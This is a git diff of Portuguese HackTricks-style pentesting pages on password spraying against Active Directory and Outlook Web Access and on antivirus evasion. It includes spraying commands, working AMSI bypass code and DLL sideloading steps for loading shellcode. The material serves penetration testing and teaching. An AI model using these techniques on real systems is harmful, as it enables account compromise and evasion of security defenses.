* Utilizando [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
|
||||
```bash
|
||||
# Password Spraying
|
||||
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
|
||||
# Brute-Force
|
||||
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
|
||||
```
|
||||
* [_**spray**_](https://github.com/Greenwolf/Spray) _**(você pode indicar o número de tentativas para evitar bloqueios):**_
|
||||
* [**spray**](https://github.com/Greenwolf/Spray) _**(você pode indicar o número de tentativas para evitar bloqueios):**_
|
||||
```bash
|
||||
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
||||
```
|
||||
* Usando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NÃO RECOMENDADO, ÀS VEZES NÃO FUNCIONA
|
||||
* Usando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NÃO RECOMENDADO ÀS VEZES NÃO FUNCIONA
|
||||
```bash
|
||||
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
||||
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
||||
|
@ -55,16 +69,16 @@ python kerbrute.py -domain jurassic.park -users users.txt -password Password123
|
|||
|
||||
![](<../../.gitbook/assets/image (132) (1).png>)
|
||||
|
||||
* Usando **rpcclient**:
|
||||
* Utilizando **rpcclient**:
|
||||
```bash
|
||||
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
|
||||
for u in $(cat users.txt); do
|
||||
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
|
||||
for u in $(cat users.txt); do
|
||||
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
|
||||
done
|
||||
```
|
||||
#### A partir do Windows
|
||||
#### Do Windows
|
||||
|
||||
* Com o [Rubeus](https://github.com/Zer1t0/Rubeus) versão com módulo de brute force:
|
||||
* Com a versão do [Rubeus](https://github.com/Zer1t0/Rubeus) com módulo brute:
|
||||
```bash
|
||||
# with a list of users
|
||||
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
||||
|
@ -72,17 +86,25 @@ done
|
|||
# check passwords for all users in current domain
|
||||
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
||||
```
|
||||
* Com o [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Ele pode gerar usuários do domínio por padrão e obter a política de senha do domínio e limitar as tentativas de acordo com ela):
|
||||
* Com [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Pode gerar usuários do domínio por padrão e obterá a política de senha do domínio, limitando as tentativas de acordo com ela):
|
||||
```powershell
|
||||
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||||
```
|
||||
* Com o [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)****
|
||||
* Com [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
|
||||
```
|
||||
Invoke-SprayEmptyPassword
|
||||
```
|
||||
## Força Bruta
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Outlook Web Access
|
||||
|
||||
Existem várias ferramentas para fazer p**assword spraying no Outlook**.
|
||||
Existem múltiplas ferramentas para **password spraying no Outlook**.
|
||||
|
||||
* Com [MSF Owa\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_login/)
|
||||
* Com [MSF Owa\_ews\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_ews\_login/)
|
||||
|
@ -90,14 +112,14 @@ Existem várias ferramentas para fazer p**assword spraying no Outlook**.
|
|||
* Com [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
|
||||
* Com [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
|
||||
|
||||
Para usar qualquer uma dessas ferramentas, você precisa de uma lista de usuários e uma senha / uma pequena lista de senhas para fazer o spraying.
|
||||
Para usar qualquer uma dessas ferramentas, você precisa de uma lista de usuários e uma senha / uma pequena lista de senhas para aplicar o spray.
|
||||
```bash
|
||||
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
||||
[x] Failed: larsson:Summer2020
|
||||
[x] Failed: cube0x0:Summer2020
|
||||
[x] Failed: a.admin:Summer2020
|
||||
[x] Failed: c.cube:Summer2020
|
||||
[+] Success: s.svensson:Summer2020
|
||||
[x] Failed: larsson:Summer2020
|
||||
[x] Failed: cube0x0:Summer2020
|
||||
[x] Failed: a.admin:Summer2020
|
||||
[x] Failed: c.cube:Summer2020
|
||||
[+] Success: s.svensson:Summer2020
|
||||
```
|
||||
## Google
|
||||
|
||||
|
@ -111,19 +133,19 @@ Para usar qualquer uma dessas ferramentas, você precisa de uma lista de usuári
|
|||
|
||||
## Referências
|
||||
|
||||
* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
|
||||
* [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
|
||||
* [https://ired.team/experimentos-de-seguranca-ofensiva/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
|
||||
* [https://www.ired.team/seguranca-ofensiva/acesso-inicial/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
|
||||
* www.blackhillsinfosec.com/?p=5296
|
||||
* [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
|
||||
* [https://hunter2.gitbook.io/darthsidious/acesso-inicial/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/metodologia-de-pentesting-em-nuvem"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/programacao"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Participe do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo no Discord**](https://discord.gg/hRep4RUj7f) ou do [**grupo no telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
@ -20,7 +20,7 @@ Atualmente, os AVs usam diferentes métodos para verificar se um arquivo é mali
|
|||
|
||||
### **Detecção estática**
|
||||
|
||||
A detecção estática é realizada marcando strings maliciosas conhecidas ou arrays de bytes em um binário ou script, e também extraindo informações do próprio arquivo (por exemplo, descrição do arquivo, nome da empresa, assinaturas digitais, ícone, checksum, etc.). Isso significa que usar ferramentas públicas conhecidas pode fazer com que você seja detectado mais facilmente, pois provavelmente foram analisadas e marcadas como maliciosas. Existem algumas maneiras de contornar esse tipo de detecção:
|
||||
A detecção estática é realizada marcando strings maliciosas conhecidas ou arrays de bytes em um binário ou script, e também extraindo informações do próprio arquivo (por exemplo, descrição do arquivo, nome da empresa, assinaturas digitais, ícone, checksum, etc.). Isso significa que usar ferramentas públicas conhecidas pode fazer com que você seja pego mais facilmente, pois provavelmente foram analisadas e marcadas como maliciosas. Existem algumas maneiras de contornar esse tipo de detecção:
|
||||
|
||||
* **Criptografia**
|
||||
|
||||
|
@ -35,16 +35,16 @@ Se você criptografar o binário, não haverá como o AV detectar seu programa,
|
|||
Se você desenvolver suas próprias ferramentas, não haverá assinaturas ruins conhecidas, mas isso leva muito tempo e esforço.
|
||||
|
||||
{% hint style="info" %}
|
||||
Uma boa maneira de verificar contra a detecção estática do Windows Defender é [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Basicamente, ele divide o arquivo em vários segmentos e, em seguida, solicita ao Defender para escanear cada um individualmente, dessa forma, ele pode informar exatamente quais são as strings ou bytes marcados no seu binário.
|
||||
Uma boa maneira de verificar contra a detecção estática do Windows Defender é [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Basicamente, ele divide o arquivo em vários segmentos e, em seguida, solicita ao Defender para escanear cada um individualmente, dessa forma, ele pode dizer exatamente quais são as strings ou bytes marcados no seu binário.
|
||||
{% endhint %}
|
||||
|
||||
Eu recomendo fortemente que você confira esta [playlist do YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) sobre Evasão Prática de AV.
|
||||
Eu recomendo fortemente que você confira esta [playlist do YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) sobre Evasão de AV prática.
|
||||
|
||||
### **Análise dinâmica**
|
||||
|
||||
Análise dinâmica é quando o AV executa seu binário em uma sandbox e observa atividades maliciosas (por exemplo, tentar descriptografar e ler as senhas do seu navegador, realizar um minidump no LSASS, etc.). Esta parte pode ser um pouco mais complicada de lidar, mas aqui estão algumas coisas que você pode fazer para evitar sandboxes.
|
||||
|
||||
* **Dormir antes da execução** Dependendo de como é implementado, pode ser uma ótima maneira de burlar a análise dinâmica do AV. Os AVs têm um tempo muito curto para escanear arquivos para não interromper o fluxo de trabalho do usuário, então usar longos períodos de espera pode perturbar a análise de binários. O problema é que muitas sandboxes de AVs podem simplesmente ignorar a espera, dependendo de como é implementado.
|
||||
* **Dormir antes da execução** Dependendo de como é implementado, pode ser uma ótima maneira de burlar a análise dinâmica do AV. Os AVs têm um tempo muito curto para escanear arquivos para não interromper o fluxo de trabalho do usuário, então usar longos períodos de espera pode perturbar a análise de binários. O problema é que muitas sandboxes de AVs podem simplesmente ignorar o período de espera, dependendo de como é implementado.
|
||||
* **Verificação dos recursos da máquina** Geralmente, as Sandboxes têm muito poucos recursos disponíveis (por exemplo, < 2GB de RAM), caso contrário, elas poderiam desacelerar a máquina do usuário. Você também pode ser muito criativo aqui, por exemplo, verificando a temperatura da CPU ou até a velocidade dos ventiladores, nem tudo será implementado na sandbox.
|
||||
* **Verificações específicas da máquina** Se você deseja direcionar um usuário cuja estação de trabalho está unida ao domínio "contoso.local", você pode fazer uma verificação no domínio do computador para ver se corresponde ao que você especificou, se não corresponder, você pode fazer seu programa sair.
|
||||
|
||||
|
@ -52,15 +52,15 @@ Acontece que o nome do computador da Sandbox do Microsoft Defender é HAL9TH, en
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (3) (6).png" alt=""><figcaption><p>fonte: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
Algumas outras dicas muito boas de [@mgeeky](https://twitter.com/mariuszbit) para lidar com Sandboxes
|
||||
Algumas outras dicas realmente boas de [@mgeeky](https://twitter.com/mariuszbit) para lidar com Sandboxes
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (2) (1).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Discord Red Team VX</a> canal #malware-dev</p></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (2) (1).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> canal #malware-dev</p></figcaption></figure>
|
||||
|
||||
Como dissemos antes neste post, **ferramentas públicas** eventualmente **serão detectadas**, então, você deve se perguntar algo:
|
||||
|
||||
Por exemplo, se você quer fazer um dump do LSASS, **você realmente precisa usar o mimikatz**? Ou você poderia usar um projeto diferente que é menos conhecido e também faz o dump do LSASS.
|
||||
Por exemplo, se você quer fazer um dump do LSASS, **você realmente precisa usar mimikatz**? Ou você poderia usar um projeto diferente que é menos conhecido e também faz dump do LSASS.
|
||||
|
||||
A resposta correta é provavelmente a última. Tomando o mimikatz como exemplo, é provavelmente uma das peças de malware mais marcadas pelos AVs e EDRs, enquanto o próprio projeto é super legal, também é um pesadelo trabalhar com ele para evitar os AVs, então apenas procure alternativas para o que você está tentando alcançar.
|
||||
A resposta correta é provavelmente a última. Tomando mimikatz como exemplo, é provavelmente uma das peças de malware mais marcadas pelos AVs e EDRs, enquanto o próprio projeto é super legal, também é um pesadelo trabalhar com ele para contornar os AVs, então apenas procure alternativas para o que você está tentando alcançar.
|
||||
|
||||
{% hint style="info" %}
|
||||
Ao modificar seus payloads para evasão, certifique-se de **desativar a submissão automática de amostras** no defender, e por favor, sério, **NÃO FAÇA UPLOAD PARA O VIRUSTOTAL** se seu objetivo é alcançar a evasão a longo prazo. Se você quiser verificar se seu payload é detectado por um AV específico, instale-o em uma VM, tente desativar a submissão automática de amostras e teste lá até ficar satisfeito com o resultado.
|
||||
|
@ -70,7 +70,7 @@ Ao modificar seus payloads para evasão, certifique-se de **desativar a submiss
|
|||
|
||||
Sempre que possível, sempre **priorize o uso de DLLs para evasão**, na minha experiência, arquivos DLL geralmente são **muito menos detectados** e analisados, então é um truque muito simples de usar para evitar detecção em alguns casos (se seu payload tem alguma forma de rodar como uma DLL, claro).
|
||||
|
||||
Como podemos ver nesta imagem, um Payload DLL do Havoc tem uma taxa de detecção de 4/26 no antiscan.me, enquanto o payload EXE tem uma taxa de detecção de 7/26.
|
||||
Como podemos ver nesta imagem, um Payload DLL do Havoc tem uma taxa de detecção de 4/26 em antiscan.me, enquanto o payload EXE tem uma taxa de detecção de 7/26.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (6) (3) (1).png" alt=""><figcaption><p>comparação antiscan.me de um payload EXE normal do Havoc vs um payload DLL normal do Havoc</p></figcaption></figure>
|
||||
|
||||
|
@ -93,7 +93,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
|||
|
||||
Este comando irá gerar a lista de programas suscetíveis a DLL hijacking dentro de "C:\Program Files\\" e os arquivos DLL que eles tentam carregar.
|
||||
|
||||
Eu recomendo fortemente que você **explore programas suscetíveis a Hijack/Sideload de DLL por conta própria**, essa técnica é bastante discreta quando feita corretamente, mas se você usar programas conhecidos publicamente que permitem Sideload de DLL, você pode ser facilmente pego.
|
||||
Eu recomendo fortemente que você **explore programas suscetíveis a Hijack/Sideload de DLL por conta própria**, esta técnica é bastante discreta quando feita corretamente, mas se você usar programas conhecidos publicamente que permitem Sideload de DLL, você pode ser facilmente pego.
|
||||
|
||||
Apenas colocar uma DLL maliciosa com o nome que um programa espera carregar, não irá executar seu payload, pois o programa espera algumas funções específicas dentro dessa DLL, para resolver esse problema, usaremos outra técnica chamada **DLL Proxying/Forwarding**.
|
||||
|
||||
|
@ -110,11 +110,11 @@ Estes são os passos que segui:
|
|||
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
|
||||
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
|
||||
```
|
||||
```markdown
|
||||
O último comando nos fornecerá 2 arquivos: um template de código-fonte DLL e a DLL original renomeada.
|
||||
|
||||
<figure><img src="../.gitbook/assets/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
|
||||
```
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
|
||||
```
|
||||
|
@ -129,7 +129,7 @@ Tanto o nosso shellcode (codificado com [SGN](https://github.com/EgeBalci/sgn))
|
|||
<figure><img src="../.gitbook/assets/image (11) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
Eu **recomendo fortemente** que você assista ao VOD do twitch de [S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) sobre DLL Sideloading e também ao vídeo do [ippsec](https://www.youtube.com/watch?v=3eROsG\_WNpE) para aprender mais sobre o que discutimos de forma mais aprofundada.
|
||||
Eu **recomendo fortemente** que você assista ao VOD do twitch do [S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) sobre DLL Sideloading e também ao vídeo do [ippsec](https://www.youtube.com/watch?v=3eROsG\_WNpE) para aprender mais sobre o que discutimos de forma mais aprofundada.
|
||||
{% endhint %}
|
||||
|
||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||
|
@ -143,7 +143,6 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
|||
2. ./Freeze -I demon.bin -encrypt -O demon.exe
|
||||
3. Profit, no alerts from defender
|
||||
```
|
||||
```markdown
|
||||
<figure><img src="../.gitbook/assets/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
|
@ -152,7 +151,7 @@ A evasão é apenas um jogo de gato e rato, o que funciona hoje pode ser detecta
|
|||
|
||||
## AMSI (Interface de Verificação de Anti-Malware)
|
||||
|
||||
O AMSI foi criado para prevenir "[malware sem arquivo](https://en.wikipedia.org/wiki/Fileless\_malware)". Inicialmente, os antivírus eram apenas capazes de escanear **arquivos em disco**, então se você conseguisse de alguma forma executar payloads **diretamente na memória**, o antivírus não poderia fazer nada para prevenir, pois não tinha visibilidade suficiente.
|
||||
AMSI foi criado para prevenir "[malware sem arquivo](https://en.wikipedia.org/wiki/Fileless\_malware)". Inicialmente, os antivírus eram apenas capazes de escanear **arquivos em disco**, então se você conseguisse executar payloads **diretamente na memória**, o antivírus não poderia fazer nada para prevenir isso, pois não tinha visibilidade suficiente.
|
||||
|
||||
O recurso AMSI está integrado nestes componentes do Windows.
|
||||
|
||||
|
@ -189,13 +188,12 @@ Como o AMSI é implementado carregando uma DLL no processo do powershell (també
|
|||
Forçar a inicialização do AMSI a falhar (amsiInitFailed) resultará em nenhuma varredura sendo iniciada para o processo atual. Originalmente isso foi divulgado por [Matt Graeber](https://twitter.com/mattifestation) e a Microsoft desenvolveu uma assinatura para prevenir o uso mais amplo.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
```powershell
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Bastou uma linha de código powershell para tornar o AMSI inutilizável para o processo powershell atual. Essa linha, claro, foi sinalizada pelo próprio AMSI, então alguma modificação é necessária para utilizar essa técnica.
|
||||
Bastou uma linha de código powershell para tornar o AMSI inutilizável para o processo powershell atual. Essa linha, claro, foi sinalizada pelo próprio AMSI, então alguma modificação é necessária para usar essa técnica.
|
||||
|
||||
Aqui está um bypass do AMSI modificado que peguei deste [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
|
||||
```powershell
|
||||
|
@ -211,7 +209,7 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
|
|||
$Spotfix.SetValue($null,$true)
|
||||
}Catch{Throw $_}
|
||||
```
|
||||
Tenha em mente que isso provavelmente será marcado assim que este post for publicado, então você não deve publicar nenhum código se o seu plano for permanecer indetectado.
|
||||
Lembre-se de que isso provavelmente será marcado assim que esta postagem for publicada, então você não deve publicar nenhum código se o seu plano for permanecer indetectado.
|
||||
|
||||
**Memory Patching**
|
||||
|
||||
|
@ -227,11 +225,11 @@ Ou este script que, através de memory patching, irá corrigir cada novo Powersh
|
|||
|
||||
## Ofuscação
|
||||
|
||||
Existem várias ferramentas que podem ser usadas para **ofuscar código C# em texto claro**, gerar **modelos de metaprogramação** para compilar binários ou **ofuscar binários compilados**, tais como:
|
||||
Existem várias ferramentas que podem ser usadas para **ofuscar código C# em texto claro**, gerar **modelos de metaprogramação** para compilar binários ou **ofuscar binários compilados**, como:
|
||||
|
||||
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: Ofuscador de C#**
|
||||
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): O objetivo deste projeto é fornecer um fork de código aberto do conjunto de compilação [LLVM](http://www.llvm.org/) capaz de proporcionar maior segurança de software através da [ofuscação de código](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) e proteção contra adulteração.
|
||||
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstra como usar a linguagem `C++11/14` para gerar, no momento da compilação, código ofuscado sem usar nenhuma ferramenta externa e sem modificar o compilador.
|
||||
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): O objetivo deste projeto é fornecer um fork de código aberto do conjunto de compilação [LLVM](http://www.llvm.org/) capaz de aumentar a segurança do software através da [ofuscação de código](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) e proteção contra adulteração.
|
||||
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstra como usar a linguagem `C++11/14` para gerar, em tempo de compilação, código ofuscado sem usar nenhuma ferramenta externa e sem modificar o compilador.
|
||||
* [**obfy**](https://github.com/fritzone/obfy): Adiciona uma camada de operações ofuscadas geradas pelo framework de metaprogramação de templates C++ que tornará a vida da pessoa que deseja quebrar a aplicação um pouco mais difícil.
|
||||
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz é um ofuscador de binários x64 capaz de ofuscar vários arquivos pe diferentes, incluindo: .exe, .dll, .sys
|
||||
* [**metame**](https://github.com/a0rtega/metame): Metame é um motor de código metamórfico simples para executáveis arbitrários.
|
||||
|
@ -299,7 +297,7 @@ A maioria dos frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc,
|
|||
|
||||
* **Fork\&Run**
|
||||
|
||||
Envolve **criar um novo processo sacrificial**, injetar seu código malicioso de pós-exploração nesse novo processo, executar seu código malicioso e, quando terminar, matar o novo processo. Isso tem seus benefícios e desvantagens. O benefício do método fork and run é que a execução ocorre **fora** do nosso processo de implantação do Beacon. Isso significa que, se algo na nossa ação de pós-exploração der errado ou for detectado, há uma **chance muito maior** de nosso **implante sobreviver**. A desvantagem é que você tem uma **maior chance** de ser pego pelas **Detecções Comportamentais**.
|
||||
Envolve **criar um novo processo sacrificial**, injetar seu código malicioso de pós-exploração nesse novo processo, executar seu código malicioso e, quando terminar, matar o novo processo. Isso tem seus benefícios e desvantagens. O benefício do método fork and run é que a execução ocorre **fora** do nosso processo de implantação do Beacon. Isso significa que, se algo na nossa ação de pós-exploração der errado ou for detectado, há uma **chance muito maior** de nosso **implante sobreviver**. A desvantagem é que você tem uma **maior chance** de ser pego por **Detecções Comportamentais**.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -317,11 +315,11 @@ Você também pode carregar Assemblies C# **do PowerShell**, confira [Invoke-Sha
|
|||
|
||||
## Usando Outras Linguagens de Programação
|
||||
|
||||
Como proposto em [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), é possível executar código malicioso usando outras linguagens, dando à máquina comprometida acesso **ao ambiente do interpretador instalado no compartilhamento SMB Controlado pelo Atacante**. 
|
||||
Como proposto em [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), é possível executar código malicioso usando outras linguagens, dando à máquina comprometida acesso **ao ambiente do interpretador instalado no compartilhamento SMB Controlado pelo Atacante**.
|
||||
|
||||
Ao permitir acesso aos Binários do Interpretador e ao ambiente no compartilhamento SMB, você pode **executar código arbitrário nessas linguagens na memória** da máquina comprometida.
|
||||
Permitindo acesso aos Binários do Interpretador e ao ambiente no compartilhamento SMB, você pode **executar código arbitrário nessas linguagens na memória** da máquina comprometida.
|
||||
|
||||
O repositório indica: o Defender ainda escaneia os scripts, mas ao utilizar Go, Java, PHP etc., temos **mais flexibilidade para burlar assinaturas estáticas**. Testes com scripts de shell reverso aleatórios e não ofuscados nessas linguagens se mostraram bem-sucedidos.
|
||||
O repositório indica: Defender ainda escaneia os scripts, mas utilizando Go, Java, PHP etc., temos **mais flexibilidade para burlar assinaturas estáticas**. Testes com scripts de shell reverso aleatórios e não ofuscados nessas linguagens se mostraram bem-sucedidos.
|
||||
|
||||
## Evasão Avançada
|
||||
|
||||
|
@ -329,7 +327,7 @@ Evasão é um tópico muito complicado, às vezes você tem que levar em conta m
|
|||
|
||||
Cada ambiente contra o qual você luta terá seus próprios pontos fortes e fracos.
|
||||
|
||||
Eu recomendo fortemente que você assista a esta palestra de [@ATTL4S](https://twitter.com/DaniLJ94), para obter uma introdução às técnicas mais Avançadas de Evasão.
|
||||
